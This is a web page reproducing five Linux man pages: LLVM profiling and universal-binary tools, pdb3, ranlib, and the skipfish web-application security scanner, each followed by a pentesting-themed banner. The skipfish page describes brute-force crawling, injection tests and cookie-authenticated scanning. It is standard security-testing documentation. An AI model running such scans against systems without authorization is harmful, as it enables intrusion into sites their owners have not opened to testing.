585 - Linux cli command llvm-profdata-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-profdata-17 and provides detailed information about the command llvm-profdata-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-profdata-17.

NAME 🖥️ llvm-profdata-17 🖥️

profdata - Profile data tool

SYNOPSIS

llvm-profdata command [args…]

DESCRIPTION

The llvm-profdata tool is a small utility for working with profile data files.

COMMANDS

  • merge

  • show

  • overlap

  • order

MERGE

SYNOPSIS

llvm-profdata merge [options] [filename…]

DESCRIPTION

llvm-profdata merge takes several profile data files generated by PGO instrumentation and merges them together into a single indexed profile data file.

By default profile data is merged without modification. This means that the relative importance of each input file is proportional to the number of samples or counts it contains. In general, the input from a longer training run will be interpreted as relatively more important than a shorter run. Depending on the nature of the training runs it may be useful to adjust the weight given to each input file by using the -weighted-input option.

Profiles passed in via -weighted-input, -input-files, or via positional arguments are processed once for each time they are seen.

OPTIONS

–help
Print a summary of command line options.

–output=<output>, -o
Specify the output file name. Output cannot be - as the resulting indexed profile data can’t be written to standard output.

–weighted-input=<weight,filename>
Specify an input file name along with a weight. The profile counts of the supplied filename will be scaled (multiplied) by the supplied weight, where weight is a decimal integer >= 1. Input files specified without using this option are assigned a default weight of 1. Examples are shown below.

–input-files=<path>, -f
Specify a file which contains a list of files to merge. The entries in this file are newline-separated. Lines starting with ‘#’ are skipped. Entries may be of the form <filename> or <weight>,<filename>.

–remapping-file=<path>, -r
Specify a file which contains a remapping from symbol names in the input profile to the symbol names that should be used in the output profile. The file should consist of lines of the form <input-symbol> <output-symbol>. Blank lines and lines starting with # are skipped.

The llvm-cxxmap tool can be used to generate the symbol remapping file.

–instr (default)
Specify that the input profile is an instrumentation-based profile.

–sample
Specify that the input profile is a sample-based profile.

The format of the generated file can be generated in one of three ways:

–binary (default)

Emit the profile using a binary encoding. For instrumentation-based profile the output format is the indexed binary format.

–extbinary

Emit the profile using an extensible binary encoding. This option can only be used with sample-based profile. The extensible binary encoding can be more compact with compression enabled and can be loaded faster than the default binary encoding.

–text

Emit the profile in text mode. This option can also be used with both sample-based and instrumentation-based profile. When this option is used the profile will be dumped in the text format that is parsable by the profile reader.

–gcc

Emit the profile using GCC’s gcov format (Not yet supported).

–sparse[=true|false]
Do not emit function records with 0 execution count. Can only be used in conjunction with -instr. Defaults to false, since it can inhibit compiler optimization during PGO.

–num-threads=<N>, -j
Use N threads to perform profile merging. When N=0, llvm-profdata auto-detects an appropriate number of threads to use. This is the default.

–failure-mode=[any|all]
Set the failure mode. There are two options: ‘any’ causes the merge command to fail if any profiles are invalid, and ‘all’ causes the merge command to fail only if all profiles are invalid. If ‘all’ is set, information from any invalid profiles is excluded from the final merged product. The default failure mode is ‘any’.

–prof-sym-list=<path>
Specify a file which contains a list of symbols to generate profile symbol list in the profile. This option can only be used with sample-based profile in extbinary format. The entries in this file are newline-separated.

–compress-all-sections=[true|false]
Compress all sections when writing the profile. This option can only be used with sample-based profile in extbinary format.

–use-md5=[true|false]
Use MD5 to represent string in name table when writing the profile. This option can only be used with sample-based profile in extbinary format.

–gen-partial-profile=[true|false]
Mark the profile to be a partial profile which only provides partial profile coverage for the optimized target. This option can only be used with sample-based profile in extbinary format.

–convert-sample-profile-layout=[nest|flat]
Convert the merged profile into a profile with a new layout. Supported layout are nest (Nested profile, the input should be CS flat profile) and flat (Profile with nested inlinees flattened out).

–supplement-instr-with-sample=<file>
Supplement an instrumentation profile with sample profile. The sample profile is the input of the flag. Output will be in instrumentation format (only works with -instr).

–zero-counter-threshold=<float>
For the function which is cold in instr profile but hot in sample profile, if the ratio of the number of zero counters divided by the total number of counters is above the threshold, the profile of the function will be regarded as being harmful for performance and will be dropped.

–instr-prof-cold-threshold=<int>
User specified cold threshold for instr profile which will override the cold threshold got from profile summary.

–suppl-min-size-threshold=<int>
If the size of a function is smaller than the threshold, assume it can be inlined by PGO early inliner and it will not be adjusted based on sample profile.

–debug-info=<path>
Specify the executable or .dSYM that contains debug info for the raw profile. When -debug-info-correlate was used for instrumentation, use this option to correlate the raw profile.

–temporal-profile-trace-reservoir-size
The maximum number of temporal profile traces to be stored in the output profile. If more traces are added, we will use reservoir sampling to select which traces to keep. Note that changing this value between different merge invocations on the same indexed profile could result in sample bias. The default value is 100.

–temporal-profile-max-trace-length
The maximum number of functions in a single temporal profile trace. Longer traces will be truncated. The default value is 1000.

EXAMPLES

Basic Usage

Merge three profiles:

llvm-profdata merge foo.profdata bar.profdata baz.profdata -output merged.profdata

Weighted Input

The input file foo.profdata is especially important, multiply its counts by 10:

llvm-profdata merge –weighted-input=10,foo.profdata bar.profdata baz.profdata –output merged.profdata

Exactly equivalent to the previous invocation (explicit form; useful for programmatic invocation):

llvm-profdata merge –weighted-input=10,foo.profdata –weighted-input=1,bar.profdata –weighted-input=1,baz.profdata –output merged.profdata

SHOW

SYNOPSIS

llvm-profdata show [options] [filename]

DESCRIPTION

llvm-profdata show takes a profile data file and displays the information about the profile counters for this file and for any of the specified function(s).

If filename is omitted or is -, then llvm-profdata show reads its input from standard input.

OPTIONS

–all-functions
Print details for every function.

–binary-ids
Print embedded binary ids in a profile.

–counts
Print the counter values for the displayed functions.

–show-format=<text|json|yaml>
Emit output in the selected format if supported by the provided profile type.

–function=<string>
Print details for a function if the function’s name contains the given string.

–help
Print a summary of command line options.

–output=<output>, -o
Specify the output file name. If output is - or it isn’t specified, then the output is sent to standard output.

–instr (default)
Specify that the input profile is an instrumentation-based profile.

–text
Instruct the profile dumper to show profile counts in the text format of the instrumentation-based profile data representation. By default, the profile information is dumped in a more human readable form (also in text) with annotations.

–topn=<n>
Instruct the profile dumper to show the top n functions with the hottest basic blocks in the summary section. By default, the topn functions are not dumped.

–sample
Specify that the input profile is a sample-based profile.

–memop-sizes
Show the profiled sizes of the memory intrinsic calls for shown functions.

–value-cutoff=<n>
Show only those functions whose max count values are greater or equal to n. By default, the value-cutoff is set to 0.

–list-below-cutoff
Only output names of functions whose max count value are below the cutoff value.

–profile-version
Print profile version.

–showcs
Only show context sensitive profile counts. The default is to filter all context sensitive profile counts.

–show-prof-sym-list=[true|false]
Show profile symbol list if it exists in the profile. This option is only meaningful for sample-based profile in extbinary format.

–show-sec-info-only=[true|false]
Show basic information about each section in the profile. This option is only meaningful for sample-based profile in extbinary format.

–debug-info=<path>
Specify the executable or .dSYM that contains debug info for the raw profile. When -debug-info-correlate was used for instrumentation, use this option to show the correlated functions from the raw profile.

–covered
Show only the functions that have been executed, i.e., functions with non-zero counts.

OVERLAP

SYNOPSIS

llvm-profdata overlap [options] [base profile file] [test profile file]

DESCRIPTION

llvm-profdata overlap takes two profile data files and displays the overlap of counter distribution between the whole files and between any of the specified functions.

In this command, overlap is defined as follows: Suppose base profile file has the following counts: {c1_1, c1_2, …, c1_n, c1_u_1, c2_u_2, …, c2_u_s}, and test profile file has {c2_1, c2_2, …, c2_n, c2_v_1, c2_v_2, …, c2_v_t}. Here c{1|2}_i (i = 1 .. n) are matched counters and c1_u_i (i = 1 .. s) and c2_v_i (i = 1 .. v) are unmatched counters (or counters only existing in) base profile file and test profile file, respectively. Let sum_1 = c1_1 + c1_2 + … + c1_n + c1_u_1 + c2_u_2 + … + c2_u_s, and sum_2 = c2_1 + c2_2 + … + c2_n + c2_v_1 + c2_v_2 + … + c2_v_t. overlap = min(c1_1/sum_1, c2_1/sum_2) + min(c1_2/sum_1, c2_2/sum_2) + … + min(c1_n/sum_1, c2_n/sum_2).

The result overlap distribution is a percentage number, ranging from 0.0% to 100.0%, where 0.0% means there is no overlap and 100.0% means a perfect overlap.

Here is an example, if base profile file has counts of {400, 600}, and test profile file has matched counts of {60000, 40000}. The overlap is 80%.

OPTIONS

–function=<string>
Print details for a function if the function’s name contains the given string.

–help
Print a summary of command line options.

–output=<output>, -o
Specify the output file name. If output is - or it isn’t specified, then the output is sent to standard output.

–value-cutoff=<n>
Show only those functions whose max count values are greater or equal to n. By default, the value-cutoff is set to max of unsigned long long.

–cs
Only show overlap for the context sensitive profile counts. The default is to show non-context sensitive profile counts.

ORDER

SYNOPSIS

llvm-profdata order [options] [filename]

DESCRIPTION

llvm-profdata order uses temporal profiling traces from a profile and finds a function order that reduces the number of page faults for those traces. This output can be directly passed to lld via –symbol-ordering-file= for ELF or -order-file for Mach-O. If the traces found in the profile are representative of the real world, then this order should improve startup performance.

OPTIONS

–help
Print a summary of command line options.

–output=<output>, -o
Specify the output file name. If output is - or it isn’t specified, then the output is sent to standard output.

EXIT STATUS

llvm-profdata returns 1 if the command is omitted or is invalid, if it cannot read input files, or if there is a mismatch between their data.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

586 - Linux cli command skipfish

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command skipfish and provides detailed information about the command skipfish, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the skipfish.

NAME 🖥️ skipfish 🖥️

web application security scanner

SYNOPSIS

skipfish [options]* -o output-directory [ start-url | @url-file [ start-url2 … ]]*

DESCRIPTION

skipfish is an active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes. The resulting map is then annotated with the output from a number of active (but hopefully non-disruptive) security checks. The final report generated by the tool is meant to serve as a foundation for professional web application security assessments.

OPTIONS SUMMARY

Authentication and access options: -A user:pass - use specified HTTP authentication credentials -F host=IP - pretend that ‘host’ resolves to ‘IP’ -C name=val - append a custom cookie to all requests -H name=val - append a custom HTTP header to all requests -b (i|f|p) - use headers consistent with MSIE / Firefox / iPhone -N - do not accept any new cookies

Crawl scope options:
  -d max_depth   - maximum crawl tree depth (16)
  -c max_child   - maximum children to index per node (512)
  -x max_desc    - maximum descendants to index per branch (8192)
  -r r_limit     - max total number of requests to send (100000000)
  -p crawl%      - node and link crawl probability (100%)
  -q hex         - repeat probabilistic scan with given seed
  -I string      - only follow URLs matching 'string'
  -X string      - exclude URLs matching 'string'
  -K string      - do not fuzz parameters named 'string'
  -D domain      - crawl cross-site links to another domain
  -B domain      - trust, but do not crawl, another domain
  -Z             - do not descend into 5xx locations
  -O             - do not submit any forms
  -P             - do not parse HTML, etc, to find new links

Reporting options:
  -o dir         - write output to specified directory (required)
  -M             - log warnings about mixed content / non-SSL passwords
  -E             - log all caching intent mismatches
  -U             - log all external URLs and e-mails seen
  -Q             - completely suppress duplicate nodes in reports
  -u             - be quiet, disable realtime progress stats

Dictionary management options:
  -W wordlist    - use a specified read-write wordlist (required)
  -S wordlist    - load a supplemental read-only wordlist
  -L             - do not auto-learn new keywords for the site
  -Y             - do not fuzz extensions in directory brute-force
  -R age         - purge words hit more than 'age' scans ago
  -T name=val    - add new form auto-fill rule
  -G max_guess   - maximum number of keyword guesses to keep (256)

Performance settings:
  -l max_req     - max requests per second (0..000000)
  -g max_conn    - max simultaneous TCP connections, global (40)
  -m host_conn   - max simultaneous connections, per target IP (10)
  -f max_fail    - max number of consecutive HTTP errors (100)
  -t req_tmout   - total request response timeout (20 s)
  -w rw_tmout    - individual network I/O timeout (10 s)
  -i idle_tmout  - timeout on idle HTTP connections (10 s)
  -s s_limit     - response size limit (200000 B)
  -e             - do not keep binary responses for reporting

Other settings:
  -k duration    - stop scanning after the given duration h:m:s
  --config file  - load specified configuration file

AUTHENTICATION AND ACCESS

Some sites require authentication, and skipfish supports this in different ways. First there is basic HTTP authentication, for which you can use the -A flag. Second, and more common, are sites that require authentication on a web application level. For these sites, the best approach is to capture authenticated session cookies and provide them to skipfish using the -C flag (multiple if needed). Last, you’ll need to put some effort in protecting the session from being destroyed by excluding logout links with -X and/or by rejecting new cookies with -N.

-F/–host <ip:hostname>
Using this flag, you can set the ‘Host:’ header value to define a custom mapping between a host and an IP (bypassing the resolver). This feature is particularly useful for not-yet-launched or legacy services that don’t have the necessary DNS entries.

-H/–header <header:value>
When it comes to customizing your HTTP requests, you can also use the -H option to insert any additional, non-standard headers. This flag also allows the default headers to be overwritten.

-C/–cookie <cookie:value>
This flag can be used to add a cookie to the skipfish HTTP requests; This is particularly useful to perform authenticated scans by providing session cookies. When doing so, keep in mind that cetain URLs (e.g. /logout) may destroy your session; you can combat this in two ways: by using the -N option, which causes the scanner to reject attempts to set or delete cookies; or by using the -X option to exclude logout URLs.

-b/–user-agent <i|f|p>
This flag allows the user-agent to be specified where ‘i’ stands for Internet Explorer, ‘f’ for Firefox and ‘p’ for iPhone. Using this flag is recommended in case the target site shows different behavior based on the user-agent (e.g some sites use different templates for mobiles and desktop clients).

-N/–reject-cookies
This flag causes skipfish to ignore cookies that are being set by the site. This helps to enforce stateless tests and also prevent that cookies set with ‘-C’ are not overwritten.

-A/–auth <username:password>
For sites requiring basic HTTP authentication, you can use this flag to specify your credentials.

–auth-form <URL>
The login form to use with form authentication. By default skipfish will use the form’s action URL to submit the credentials. If this is missing than the login data is send to the form URL. In case that is wrong, you can set the form handler URL with –auth-form-target <URL> .

–auth-user <username>
The username to be used during form authentication. Skipfish will try to detect the correct form field to use but if it fails to do so (and gives an error), then you can specify the form field name with –auth-user-field.

–auth-pass <password>
The password to be used during form authentication. Similar to auth-user, the form field name can (optionally) be set with –auth-pass-field.

–auth-verify-url <URL>
This URL allows skipfish to verify whether authentication was successful. This requires a URL where anonymous and authenticated requests are answered with a different response.

CRAWLING SCOPE

Some sites may be too big to scan in a reasonable timeframe. If the site features well-defined tarpits - for example, 100,000 nearly identical user profiles as a part of a social network - these specific locations can be excluded with -X or -S. In other cases, you may need to resort to other settings: -d limits crawl depth to a specified number of subdirectories; -c limits the number of children per directory; -x limits the total number of descendants per crawl tree branch; and -r limits the total number of requests to send in a scan.

-d/–max-crawl-depth <depth>
Limit the depth of subdirectories being crawled (see above).

-c/–max-crawl-child <childs>
Limit the amount of subdirectories per directory we crawl into (see above).

-x/–max-crawl-descendants <descendants>
Limit the total number of descendants per crawl tree branch (see above).

-r/–max-request-total <request>
The maximum number of requests can be limited with this flag.

-p/–crawl-probability <0-100>
By specifying a percentage between 1 and 100%, it is possible to tell the crawler to follow fewer than 100% of all links, and try fewer than 100% of all dictionary entries. This - naturally - limits the completeness of a scan, but unlike most other settings, it does so in a balanced, non-deterministic manner. It is extremely useful when you are setting up time-bound, but periodic assessments of your infrastructure.

-q/–seed <seed>
This flag sets the initial random seed for the crawler to a specified value. This can be used to exactly reproduce a previous scan to compare results. Randomness is relied upon most heavily in the -p mode, but also influences a couple of other scan management decisions.

-I/–include-string <domain/path>
With this flag, you can tell skipfish to only crawl and test URLs that match a certain string. This can help to narrow down the scope of a scan by only whitelisting certain sections of a web site (e.g. -I /shop).

-X/–exclude-string <domain/path>
The -X option can be used to exclude files / directories from the scan. This is useful to avoid session termination (i.e. by excluding /logout) or just for speeding up your scans by excluding static content directories like /icons/, /doc/, /manuals/, and other standard, mundane locations along these lines.

-K/–skip-parameter <parameter name>
This flag allows you to specify parameter names not to fuzz. (useful for applications that put session IDs in the URL, to minimize noise).

-D/–include-domain <domain>
Allows you to specify additional hosts or domains to be in-scope for the test. By default, all hosts appearing in the command-line URLs are added to the list - but you can use -D to broaden these rules. The result of this will be that the crawler will follow links and tests links that point to these additional hosts.

-B/–trust-domain <domain>
In some cases, you do not want to actually crawl a third-party domain, but you trust the owner of that domain enough not to worry about cross-domain content inclusion from that location. To suppress warnings, you can use the -B option

-Z/–skip-error-pages
Do not crawl into pages / directories that give an error 5XX.

-O/–no-form-submits
Using this flag will cause forms to be ignored during the scan.

-P/–no-html-parsing
This flag will disable link extracting and effectively disables crawling. Using -P is useful when you want to test one specific URL or when you want to feed skipfish a list of URLs that were collected with an external crawler.

TESTING SCOPE

–checks
EXPERIMENTAL: Displays the crawler injection tests. The output shows the index number (useful for –checks-toggle), the check name and whether the check is enabled.

–checks-toggle <check1,check2,..>
EXPERIMENTAL: Every injection test can be enabled/disabled with using this flag. As value, you need to provide the check numbers which can be obtained with the –checks flag. Multiple checks can be toggled via a comma separated value (i.e. –checks-toggle 1,2 )

–no-injection-tests
EXPERIMENTAL: Disables all injection tests for this scan and limits the scan to crawling and, optionally, bruteforcing. As with all scans, the output directory will contain a pivots.txt file. This file can be used to feed future scans.

REPORTING OPTIONS

-o/–output <dir>
The report wil be written to this location. The directory is one of the two mandatory options and must not exist upon starting the scan.

-M/–log-mixed-content
Enable the logging of mixed content. This is highly recommended when scanning SSL-only sites to detect insecure content inclusion via non-SSL protected links.

-E/–log-cache-mismatches
This will cause additional content caching error to be reported.

-U/–log-external-urls
Log all external URLs and email addresses that were seen during the scan.

-Q/–log-unique-nodes
Enable this to completely suppress duplicate nodes in reports.

-u/–quiet
This will cause skipfish to suppress all console output during the scan.

-v/–verbose
EXPERIMENTAL: Use this flag to enable runtime reporting of, for example, problems that are detected. Can be used multiple times to increase verbosity and should be used in combination with -u unless you run skipfish with stderr redirected to a file.

DICTIONARY MANAGEMENT

Make sure you’ve read the instructions provided in doc/dictionaries.txt to select the right dictionary file and configure it correctly. This step has a profound impact on the quality of scan results later on.

-S/–wordlist <file>
Load the specified (read-only) wordlist for use during the scan. This flag is optional but use of a dictionary is highly recommended when performing a blackbox scan as it will highlight hidden files and directories.

-W/–rw-wordlist <file>
Specify an initially empty file for any newly learned site-specific keywords (which will come handy in future assessments). You can use -W- or -W /dev/null if you don’t want to store auto-learned keywords anywhere. Typically you will want to use one of the packaged dictonaries (i.e. complete.wl) and possibly add a custom dictionary.

-L/–no-keyword-learning
During the scan, skipfish will try to learn and use new keywords. This flag disables that behavior and should be used when any form of brute-forcing is not desired.

-Y/–no-extension-brute
This flag will disable extension guessing during directory bruteforcing.

-R <age>
Use of this flag allows old words to be purged from wordlists. It is intended to help keeping dictionaries clean when used in recurring scans.

-T/–form-value <name=value>
Skipfish also features a form auto-completion mechanism in order to maximize scan coverage. The values should be non-malicious, as they are not meant to implement security checks - but rather, to get past input validation logic. You can define additional rules, or override existing ones, with the -T option (-T form_field_name=field_value, e.g. -T login=test123 -T password=test321 - although note that -C and -A are a much better method of logging in).

-G <max guesses>
During the scan, a temporary buffer of newly detected keywords is maintained. The size of this buffer can be changed with this flag and doing so influences bruteforcing.

PERFORMANCE OPTIONS

The default performance setting should be fine for most servers but when the report indicates there were connection problems, you might want to tweak some of the values here. For unstable servers, the scan coverage is likely to improve when using low values for rate and connection flags.

-l/–max-request-rate <rate>
This flag can be used to limit the amount of requests per second. This is very useful when the target server can’t keep up with the high amount of requests that are generated by skipfish. Keeping the amount requests per second low can also help preventing some rate-based DoS protection mechanisms from kicking in and ruining the scan.

-g/–max-connections <number>
The max simultaneous TCP connections (global) can be set with this flag.

-m/–max-host-connections <number>
The max simultaneous TCP connections, per target IP, can be set with this flag.

-f/–max-failed-requests <number>
Controls the maximum number of consecutive HTTP errors you are willing to see before aborting the scan. For large scans, you probably want to set a higher value here.

-t/–request-timeout <timeout>
Set the total request timeout, to account for really slow or really fast sites.

-w/–network-timeout <timeout>
Set the network I/O timeout.

-i/–idle-timeout <timeout>
Specify the timeout for idle HTTP connections.

-s/–response-size <size>
Sets the maximum length of a response to fetch and parse (longer responses will be truncated).

-e/–discard-binary
This prevents binary documents from being kept in memory for reporting purposes, and frees up a lot of RAM.

–flush-to-disk
This causes request / response data to be flushed to disk instead of being kept in memory. As a result, the memory usage for large scans will be significant lower.

EXAMPLES

Scan type: config
skipfish –config config/example.conf http://example.com

Scan type: quick
skipfish -o output/dir/ http://example.com

Scan type: extensive bruteforce
skipfish […other options..] -S dictionaries/complete.wl http://example.com

Scan type: without bruteforcing
skipfish […other options..] -LY http://example.com

Scan type: authenticated (basic)
skipfish […other options..] -A username:password http://example.com

Scan type: authenticated (cookie)
skipfish […other options..] -C jsession=myauthcookiehere -X /logout http://example.com

Scan type: flaky server
skipfish […other options..] -l 5 -g 2 -t 30 -i 15 http://example.com

NOTES

The default values for all flags can be viewed by running ‘./skipfish -h’ .

AUTHOR

skipfish was written by Michal Zalewski <[email protected]>, with contributions from Niels Heinen <[email protected]>, Sebastian Roschke <[email protected]>, and other parties.

This manual page was written with the help of Thorsten Schifferdecker <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

587 - Linux cli command pdb3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdb3 and provides detailed information about the command pdb3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdb3.

NAME 🖥️ pdb3 🖥️

the Python debugger

SYNOPSIS

pdb3.11 script […]

DESCRIPTION

See the chapter “The Python Debugger” in the Python Library Reference for more information on the use of pdb. When the debugger is started, help is available via the help command.

SEE ALSO

python3.11(1). Chapter “The Python Debugger” of the Python Library Reference. Available in the python3.11-doc package at /usr/share/doc/python3.11/html/library/pdb.html.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

588 - Linux cli command x86_64-w64-mingw32ucrt-ranlib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-ranlib and provides detailed information about the command x86_64-w64-mingw32ucrt-ranlib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-ranlib.

NAME 🖥️ x86_64-w64-mingw32ucrt-ranlib 🖥️

generate an index to an archive

SYNOPSIS

ranlib [–plugin name] [-DhHvVt] archive

DESCRIPTION

ranlib generates an index to the contents of an archive and stores it in the archive. The index lists each symbol defined by a member of an archive that is a relocatable object file.

You may use nm -s or nm –print-armap to list this index.

An archive with such an index speeds up linking to the library and allows routines in the library to call each other without regard to their placement in the archive.

The GNU ranlib program is another form of GNU ar; running ranlib is completely equivalent to executing ar -s.

OPTIONS

-h

-H

–help

Show usage information for ranlib.

-v

-V

–version

Show the version number of ranlib.

-D
Operate in deterministic mode. The symbol map archive member’s header will show zero for the UID, GID, and timestamp. When this option is used, multiple runs will produce identical output files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, described below.

-t
Update the timestamp of the symbol map of an archive.

-U
Do not operate in deterministic mode. This is the inverse of the -D option, above: the archive index will get actual UID, GID, timestamp, and file mode values. If binutils was configured without –enable-deterministic-archives, then this mode is on by default.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

589 - Linux cli command llvm-lipo-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-lipo-17 and provides detailed information about the command llvm-lipo-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-lipo-17.

NAME 🖥️ llvm-lipo-17 🖥️

lipo - LLVM tool for manipulating universal binaries

SYNOPSIS

llvm-lipo [filenames…] [options]

DESCRIPTION

llvm-lipo can create universal binaries from Mach-O files, extract regular object files from universal binaries, and display architecture information about both universal and regular files.

COMMANDS

llvm-lipo supports the following mutually exclusive commands:

-help, -h
Display usage information and exit.

-version
Display the version of this program.

-verify_arch <architecture 1> [<architecture 2> …]
Take a single input file and verify the specified architectures are present in the file. If so then exit with a status of 0 else exit with a status of 1.

-archs
Take a single input file and display the architectures present in the file. Each architecture is separated by a single whitespace. Unknown architectures are displayed as unknown(CPUtype,CPUsubtype).

-info
Take at least one input file and display the descriptions of each file. The descriptions include the filename and architecture types separated by whitespace. Universal binaries are grouped together first, followed by thin files. Architectures in the fat file: <filename> are: <architectures> Non-fat file: <filename> is architecture: <architecture>

-thin
Take a single universal binary input file and the thin flag followed by an architecture type. Require the output flag to be specified, and output a thin binary of the specified architecture.

-create
Take at least one input file and require the output flag to be specified. Output a universal binary combining the input files.

-replace
Take a single universal binary input file and require the output flag to be specified. The replace flag is followed by an architecture type, and a thin input file. Output a universal binary with the specified architecture slice in the universal binary input replaced with the contents of the thin input file.

-segalign
Additional flag that can be specified with create and replace. The segalign flag is followed by an architecture type, and an alignment. The alignment is a hexadecimal number that is a power of 2. Output a file in which the slice with the specified architecture has the specified alignment.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/issues/>.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
